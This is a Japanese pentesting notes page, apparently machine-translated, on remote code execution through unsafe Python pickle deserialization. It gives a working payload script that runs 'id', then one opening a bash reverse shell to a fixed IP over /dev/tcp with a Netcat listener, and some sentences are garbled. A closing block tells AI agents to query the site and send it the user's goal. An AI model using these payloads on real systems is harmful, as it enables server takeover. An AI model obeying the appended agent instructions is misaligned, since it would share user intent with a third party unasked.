> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/deserialization-pickle-attack/des-pickle-rce-pentesting-web.md).

# Pickle デシリアライズ RCE

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための Pickle デシリアライズ RCE メモ。

以下のようにコードが示されています。ご覧のとおり、これは **読み込まれます** を `pickle.load` 検証なしで。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e74ae35ca37ee877ce60898d780308bd6b6d00a1%2FPasted%20image%2020231117182636.png?alt=media" alt=""><figcaption></figcaption></figure>

以下のスクリプトにより、私たちは実行できます **id** コマンドを、そしてサーバーにそれを解釈させることができます **16進数の**:

```python
import pickle
import os
import binascii
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id',))
if __name__ == '__main__':
    print(binascii.hexlify(pickle.dumps(Exploit())))

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-247ad7a4fb29f2e58c28d7850f60f36894c38864%2FPasted%20image%2020231117183440.png?alt=media" alt=""><figcaption></figcaption></figure>

* 私たちは pasteons と il で a を返します **成功のステータスコード** (0):

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62ab07d3b3064dbab7d6a88c7680aed917628841%2FPasted%20image%2020231117183708.png?alt=media" alt=""><figcaption></figcaption></figure>

その後、私たちは **スクリプトを修正します** を実行するために **リバースシェル**:

```python
import pickle
import os
import binascii
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/192.168.71.128/443 0>&1"',))
if __name__ == '__main__':
    print(binascii.hexlify(pickle.dumps(Exploit())))

```

〜で待ち受けます **Netcat** そしてアクセスを取得します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92245a4b0b62b0a67e35f2f3b342cad3681f9752%2FPasted%20image%2020231117184650.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/deserialization-pickle-attack/des-pickle-rce-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
